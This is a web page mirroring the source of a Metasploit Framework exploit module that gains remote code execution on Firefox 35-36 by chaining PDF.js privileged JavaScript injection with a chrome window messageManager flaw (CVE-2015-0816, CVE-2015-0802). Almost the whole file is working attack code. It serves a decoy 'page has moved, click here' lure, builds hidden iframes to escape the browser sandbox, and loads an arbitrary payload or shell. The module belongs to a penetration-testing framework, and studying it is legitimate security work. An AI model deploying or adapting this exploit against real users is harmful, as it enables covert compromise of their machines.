Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb
21626 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::BrowserExploitServer
10
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Firefox PDF.js Privileged Javascript Injection',
17
'Description' => %q{
18
This module gains remote code execution on Firefox 35-36 by abusing a
19
privilege escalation bug in resource:// URIs. PDF.js is used to exploit
20
the bug. This exploit requires the user to click anywhere on the page to
21
trigger the vulnerability.
22
},
23
'Author' => [
24
'Unknown', # PDF.js injection code was taken from a 0day
25
'Marius Mlynski', # discovery and pwn2own exploit
26
'joev' # copypasta monkey, CVE-2015-0802
27
],
28
'DisclosureDate' => '2015-03-31',
29
'License' => MSF_LICENSE,
30
'References' => [
31
['CVE', '2015-0816'], # pdf.js can load chrome://
32
['CVE', '2015-0802'] # can access messageManager property in chrome window
33
],
34
'Targets' => [
35
[
36
'Universal (Javascript XPCOM Shell)', {
37
'Platform' => 'firefox',
38
'Arch' => ARCH_FIREFOX
39
}
40
],
41
[
42
'Native Payload', {
43
'Platform' => %w{java linux osx solaris win},
44
'Arch' => ARCH_ALL
45
}
46
]
47
],
48
'DefaultTarget' => 0,
49
'BrowserRequirements' => {
50
:source => 'script',
51
:ua_name => HttpClients::FF,
52
:ua_ver => lambda { |ver| ver.to_i.between?(35, 36) }
53
},
54
'Notes' => {
55
'Reliability' => UNKNOWN_RELIABILITY,
56
'Stability' => UNKNOWN_STABILITY,
57
'SideEffects' => UNKNOWN_SIDE_EFFECTS
58
}
59
)
60
)
61
62
register_options([
63
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
64
])
65
end
66
67
def on_request_exploit(cli, request, target_info)
68
print_status('Sending exploit...')
69
send_response_html(cli, html)
70
end
71
72
def html
73
"<!doctype html><html><body>#{datastore['CONTENT'] || default_html}" +
74
"<script>#{js}</script></body></html>"
75
end
76
77
def default_html
78
"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
79
end
80
81
def js
82
key = Rex::Text.rand_text_alpha(5 + rand(12))
83
frame = Rex::Text.rand_text_alpha(5 + rand(12))
84
r = Rex::Text.rand_text_alpha(5 + rand(12))
85
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
86
87
<<~EOJS
88
function xml2string(obj) {
89
return new XMLSerializer().serializeToString(obj);
90
}
91
92
function __proto(obj) {
93
return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
94
}
95
96
function get(path, callback, timeout, template, value) {
97
callback = _(callback);
98
if (template && value) {
99
callback = callback.replace(template, value);
100
}
101
js_call1 = 'javascript:' + _(function() {
102
try {
103
done = false;
104
window.onclick = function() {
105
if (done) { return; } done = true;
106
q = open("%url%", "q", "chrome,,top=-9999px,left=-9999px,height=1px,width=1px");
107
setTimeout(function(){
108
q.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
109
110
setTimeout(function(){
111
var opts = #{JSON.unparse(opts)};
112
var key = opts['#{key}'];
113
q.messageManager.loadFrameScript('data:,'+key, false);
114
setTimeout(function(){
115
q.close();
116
}, 100)
117
}, 100)
118
}, 100);
119
}
120
} catch (e) {
121
history.back();
122
}
123
undefined;
124
}, "%url%", path);
125
js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined';
126
sandboxContext(_(function() {
127
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
128
l = p.__lookupSetter__.call(i2.contentWindow, 'location');
129
l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
130
}));
131
setTimeout((function() {
132
sandboxContext(_(function() {
133
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
134
l = p.__lookupSetter__.call(i2.contentWindow, 'location');
135
l.call(i2.contentWindow, window.wrappedJSObject.js_call2);
136
}));
137
}), timeout);
138
}
139
140
function get_data(obj) {
141
data = null;
142
try {
143
data = obj.document.documentElement.innerHTML;
144
if (data.indexOf('dirListing') < 0) {
145
throw new Error();
146
}
147
} catch (e) {
148
if (this.document instanceof XMLDocument) {
149
data = xml2string(this.document);
150
} else {
151
try {
152
if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') {
153
data = this.document.body.firstChild.textContent;
154
} else {
155
throw new Error();
156
}
157
} catch (e) {
158
try {
159
if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {;
160
return null;
161
} else {
162
throw new Error();
163
}
164
} catch (e) {
165
;;
166
}
167
}
168
}
169
}
170
return data;
171
}
172
173
function _(s, template, value) {
174
s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1];
175
s = s.substring(0, s.length - 1);
176
if (template && value) {
177
s = s.replace(template, value);
178
}
179
s += __proto;
180
s += xml2string;
181
s += get_data;
182
s = s.replace(/\\s\\/\\/.*\\n/g, "");
183
s = s + ";undefined";
184
return s;
185
}
186
187
function get_sandbox_context() {
188
if (window.my_win_id == null) {
189
for (var i = 0; i < 20; i++) {
190
try {
191
if (window[i].location.toString().indexOf("view-source:") != -1) {
192
my_win_id = i;
193
break;
194
}
195
} catch (e) {}
196
}
197
};
198
if (window.my_win_id == null)
199
return;
200
clearInterval(sandbox_context_i);
201
object.data = 'view-source:' + blobURL;
202
window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,';
203
object.data = 'data:text/html,<'+'html/>';
204
window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+
205
'"position:absolute; left:-9999px;" onload = "'+_(function(){
206
window.wrappedJSObject.sandboxContext=(function(cmd) {
207
with(importFunction.constructor('return this')()) {
208
return eval(cmd);
209
}
210
});
211
}) + '"/>');
212
}
213
214
var HIDDEN = 'position:absolute;left:-9999px;height:1px;width:1px;';
215
var i = document.createElement("iframe");
216
i.id = "i";
217
i.style=HIDDEN;
218
i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>";
219
document.documentElement.appendChild(i);
220
i.onload = function() {
221
if (this.contentDocument.styleSheets.length > 0) {
222
var i2 = document.createElement("iframe");
223
i2.id = "i2";
224
i2.style='opacity: 0;position:absolute;top:0;left:0;right:0;bottom:0;';
225
i2.height = window.innerHeight+'px';
226
i2.width = window.innerWidth+'px';
227
i2.src = "data:application/pdf,";
228
document.documentElement.appendChild(i2);
229
pdfBlob = new Blob([''], {
230
type: 'application/pdf'
231
});
232
blobURL = URL.createObjectURL(pdfBlob);
233
object = document.createElement('object');
234
object.style=HIDDEN;
235
object.data = 'data:application/pdf,';
236
object.onload = (function() {
237
sandbox_context_i = setInterval(get_sandbox_context, 200);
238
object.onload = null;
239
object.data = 'view-source:' + location.href;
240
return;
241
});
242
document.documentElement.appendChild(object);
243
} else {
244
this.contentWindow.location.reload();
245
}
246
}
247
248
document.body.style.height = window.innerHeight+'px';
249
250
var kill = setInterval(function() {
251
if (window.sandboxContext) {
252
var f = "chrome://browser/content/browser.xul";
253
get(f, function() {}, 0, "%URL%", f);
254
clearInterval(kill);
255
} else {
256
return;
257
}
258
},20);
259
260
EOJS
261
end
262
end
263
264